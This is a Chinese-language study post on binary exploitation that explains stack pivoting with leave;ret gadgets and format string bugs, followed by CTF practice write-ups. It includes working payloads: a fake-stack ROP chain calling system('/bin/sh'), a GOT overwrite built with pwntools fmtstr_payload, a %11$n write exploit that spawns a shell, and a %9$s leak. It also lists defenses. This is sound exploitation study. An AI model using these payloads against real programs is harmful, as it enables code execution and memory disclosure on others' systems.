栈迁移和格式化字符串学习
2026-01-17 01:57:22 # 二进制安全

栈迁移介绍

栈迁移(stack Privoting/Stack Migration)是二进制漏洞利用中非常经典且重要的技能。

简单来说,当存在栈溢出漏洞,但溢出的长度不足以容纳完整的 ROP 链时,我们就需要利用“栈迁移”技术,将栈指针(ESP/RSP)“劫持”到一个我们控制的、空间更大的内存区域(如 BSS 段或堆),让程序误以为那里就是栈,从而继续执行我们的 ROP 链。

技术原理解析

1.核心应用场景

  • 溢出空间受限:例如,你发现了一个栈溢出点,但是只能覆盖返回地址(Ret Addr)后的一两个字长,无法写入长达几十字节的 system("/bin/sh") ROP 链。
  • 开启了 PIE/ASLR:需要进行多次泄露和计算,但栈空间不够一次性完成。

2.核心指令:leave; ret

栈迁移的灵魂在于利用 x86/x64 汇编中的 leave 指令配合 ret 指令。几乎所有的函数在结束时都会执行这两条指令来恢复栈帧。

我们需要理解这两条指令的本质操作:

leave指令等价于:

1
2
mov esp,ebp # 将栈指针 esp 恢复到 ebp 的位置
pop ebp # 弹出栈顶的值给 ebp,esp 自动 +4/+8(取决于是32位还是64位)

ret指令等价于:

1
pop eip # 弹出栈顶的值给Eeip,程序流跳转

3.攻击原理详解(以32为为例)

利用栈迁移,通常需要执行两次 leave; ret 的逻辑。

步骤一:布局假栈(Fake Stack)

首先,你需要在某个可控的大空间(通常是BSS段或Heap)写入你的ROP链。假设这个地址是Target_Address

image-20260112222342224

步骤二:控制旧栈(Old Stack)

在原有的栈溢出点,我们需要构造如下Payload:

(1)覆盖Saved ebp

将其修改为:Target_Address - 4(或者是直接执行Target_Address,取决于怎么理解pop,下文详解,这里我用的是Target_Address - 4)。

image-20260112222820292

(2)覆盖return address

将其修改为程序中已有的leave; ret指令执行gadget的地址。

image-20260112223017667

步骤三:执行流推演

当存在漏洞的函数执行到结尾时:

(1)原本的leave执行:

  • mov esp, ebp:esp回到了当前栈帧底部。

image-20260112224056409

  • pop ebp:关键点。此时栈顶是我们符号的Fake ebp。于是,寄存器ebp被修改为了Target_Address - 4

Target_Address - 4的地址出栈,存储在ebp寄存器中。

image-20260112223856303

  • 此时,esp指向我们覆盖的return address(即leave; retgadget的地址)。

(2)原本的ret执行:

  • pop eip:eip变成了leave; retgadget的地址

image-20260112224513891

  • 程序跳转去执行gadget

eip就是要执行的下一条命令,下一条命令执行gadget。

(3)gadget的leave执行:

  • mov esp, ebp核心发生!!。因为刚才ebp已经变成了Target_Address,所以现在esp瞬间跳到了Target_Address栈迁移成功!

将ebp寄存器的值赋值给esp,成功实现栈迁移!

image-20260112224740343

  • pop ebp:esp继续下移4字节(出栈,栈下移,但是地址是增高4字节),把Target_Address - 4处的第一个值弹给ebp(这个值通常不重要,或者设为更下一次迁移的地址)。

image-20260112225601503

(4)gadget的ret执行:

  • pop eip:此时esp已经位于伪造栈的Target_Address处。程序将从这里取出你的ROP`链的第一条指令地址开始执行。

image-20260112230032656

4. Payload构造示例

假设是32位程序,你需要控制两处内存。

A. 目标区域(Target_Area,比如 BSS 段):这里存放真正的攻击代码。

1
2
3
4
5
6
# 注意:因为 Gadget 的 leave 中有一个 pop ebp,会消耗掉前4字节
# 所以实际的 ROP 从 Target_Area 开始
fake_stack = b"AAAA" # 填充 pop ebp 消耗掉的 4 字节
fake_stack += p32(system_addr) # system 函数地址
fake_stack += p32(0xdeadbeef) # system 的返回地址(无所谓)
fake_stack += p32(bin_sh_addr) # /bin/sh 参数地址

B. 溢出点(Original Stack):这里只需要修改ebp和eip。

1
2
3
4
# 假设 padding 是溢出前的填充长度
payload = b"A" * padding
payload += p32(Target_Area_Address - 4) # 覆盖 ebp ,指向目标区域 Target_Area_Address - 4
payload += p32(leave_ret_gadget) # 覆盖 eip,再次执行 leave; ret

5. 64位系统的区别

64 位系统的逻辑完全一致,区别仅在于:

  1. 寄存器是 rbp 和 rsp。
  2. 字长是 8 字节。
  3. 参数传递优先使用寄存器(rdi, rsi, rdx, rcx, r8, r9),因此 ROP 链通常需要 pop rdi; ret 等 gadget,使得 ROP 链更长,栈迁移技术在 64 位下显得更加必要。

6. 常见注意事项

  1. BSS 段是否可写:确保你迁移的目标地址(如 BSS)具有写权限,并且不会影响程序的其他全局变量。

  2. Gadget 获取:可以使用 ROPgadget --binary ./pwn | grep "leave" 来查找。

  3. 多级迁移:如果一次迁移的空间还是不够,你可以像“接力赛”一样,在一个假栈上再次布置栈迁移 payload,跳到另一个地方。

总结

栈迁移的本质是利用 leave 指令对 esp 和 ebp 的操作,将 esp 强行修改为我们想要的值

格式化字符串漏洞介绍

1.核心概念

定义:当程序将用户的输入直接作为格式化函数(如 printf)的第一个参数(即格式化字符串本身)时,发生的漏洞。

本质:函数对参数数量的盲目信任。函数仅根据字符串中的 % 符号数量去栈/寄存器取值,而不检查实际传入了多少参数。

2. 漏洞代码特征

有漏洞:

1
2
3
char buf[100];
read(0, buf, 100);
printf(buf); // <-- 用户输入直接控制了格式化字符串

安全写法:

1
printf("%s", buf); // <-- 格式已固定,buf 仅作为数据参数

可以简单的理解,对于%s对应于一个buf,直接从内存中拿buf的值。这个buf是参数值,对于32位是存放在栈中,对于64位是存放在寄存器中,但当buf这个不存在的时候,printf还是会去同样的位置去拿数据,这时候就会造成栈(或寄存器)的信息泄露。

对于有漏洞的例子printf(buf) ,这里如果buf中被输入了%s,那么printf会去同样的位置去找数据,然后输出造成信息泄露。

3. 原理解释

理解核心:格式化字符串 vs 参数栈的不匹配。

正常情况:printf("%x", var) -> printf 从栈/寄存器取出一个值打印。

攻击情况:用户输入AAAA %x ->

(1)printf打印AAAA

(2)遇到%xprintf认为栈上肯定有个参数等着它。

(3)printf函数去栈上(或寄存器,64位参数值存在寄存器上)获取对应位置的数据并打印。

(4)结果:泄露了栈上的敏感数据。

4. 利用速查表(Cheat Sheet)

常用格式说明符(Specifiers)

符号 作用 攻击用途 备注
%s 输出指针指向的字符串 任意地址读 试图读取该地址指向的内容,若地址非法会 Crash
%p / %x 输出参数的值(十六进制) 栈数据泄露 泄露 Canary、Libc 基址、栈地址
%d / %i 输出有符号整数 数据泄露 较少用,通常用 %p
%n 不输出,写入已打印字符数 任意地址写 最危险的符号,用于修改内存
%c 输出单个字符 填充计数 配合 %n 控制写入的数值大小

关键修饰符

(1)直接访问(Direct Access$

  • %10$p:直接打印栈上第10个参数的值。
  • %10$n:将数值写入栈上第10个参数指向的地址。

用途:避免输入几十个%p来够到深处的偏移。

(2)长度修饰(Length Fields)

  • %hhn:写入 1 byte
  • %hn:写入 2 bytes(short)

用途:分次写入大数值(如地址),避免一次打印过多字符导致超时。

5. 攻击能力(Capabilities)

A. 任意地址读 (Arbitrary Read)

  • 目的:绕过 ASLR (泄露 Libc 地址),读取 Flag,读取 Canary。
  • 方法
    1. 确定输入字符串在栈上的偏移(Offset),例如是第 6 个参数。
    2. 构造 Payload:[目标地址] + %6$s
    3. printf 会解析 %6$s,去第 6 个参数位置拿值(即我们填入的目标地址),然后打印该地址指向的内容。

B. 任意地址写 (Arbitrary Write)

  • 目的:修改 GOT 表(劫持控制流),修改返回地址,修改变量值。
  • 原理:利用 %n 将“前面打印出的字符总数”写入指定地址。
  • 公式[填充字符] + [Payload构造] + [%k$n] ,如果想写入值 100,确保在 %n 之前总共打印了 100 个字符。

6. 利用流程(Exploit Workflow)

(1)确定偏移 (Fuzzing): 输入 AAAA %p %p %p...,观察 0x41414141 (AAAA) 出现在第几个位置。记为 offset

(2)信息收集 (Leak): 利用 %offset$p 泄露栈上的 __libc_start_main 或其他地址,计算基址 libc_base

(3) 构造写利用 (Overwrite)

  • 目标printf_got (或其他函数 GOT)。
  • system_addr
  • 工具:使用 pwntools 自动生成。
1
2
# payload = fmtstr_payload(offset, {target_addr: value_to_write})
payload = fmtstr_payload(6, {elf.got['printf']: libc.symbols['system']})

7. 防御与绕过(Mitigation)

  • 防御

(1)GCC 编译选项-Wformat -Wformat-security (编译警告)。

(2)FORTIFY_SOURCE-D_FORTIFY_SOURCE=2。如果格式化字符串在可写段且含 %n,直接 Crash。

(3)代码规范:严禁 printf(variable),必须用 printf("%s", variable)

  • 限制

(1)\x00 截断printf 遇到空字节停止,构造 Payload 时需将地址放在 Payload 的最后,或者利用栈上已有的指针对其进行修改。

(2)缓冲区大小:如果 buf 太小,可能无法容纳复杂的 Payload。

格式化字符串漏洞练习

fmtstr1

image-20260116235258673

定位漏洞点。

image-20260116235332376

去查看x的地址,为:0x0804A02C,想办法将其修改为4即可获取shell。

image-20260117000421157

利用格式化字符串漏洞。先动态调试程序,这里read函数读取输入的一个A后,查看栈。

image-20260117002859917

发现A输入的这个内容,被存储在了第11个参数的位置,(0x2c - 0x00) / 4 = 11。x的地址也知道了为:0x0804A02C。那么将0x0804A02C使用read去读取,然后0x0804A02C刚好4个字节,利用格式化字符串漏洞,将0x0804A02C地址处的内容修改为4。

%n用于写入已打印的字符数,4字节,就是写入4。

exp如下:

1
2
3
4
5
6
7
8
from pwn import *
context(log_level='debug', arch='i386', os='linux')

io = process('../practices/fmtstr1/fmtstr1')
x_address = 0x0804A02C
payload = p32(x_address) + b'%11$n'
io.sendline(payload)
io.interactive()

image-20260117003805967

fmtstr2

image-20260117004744498

定位漏洞点:

image-20260117004811389

使用gdb去进行动态调试。输入AAAA断点在printf函数处。发现了flag所处的栈的位置。

image-20260117012319401

这个程序是x64的程序,在x64中前6个参数都是存储在寄存器中的,然后再存储到栈中。调试可以看到flag是位于栈中的第3个参数的位置,那么6+3,实际是第9个参数。

这题根据IDA,可以看到代码的逻辑,printf处是存在漏洞的。想办法把第9个参数的值,输出出来,就可以得到flag了。

根据前面学的,使用%s,输出第9个参数的值,这个值是个地址,地址是flag字符串的地址。

payload很简单为:%9$s

image-20260117015635002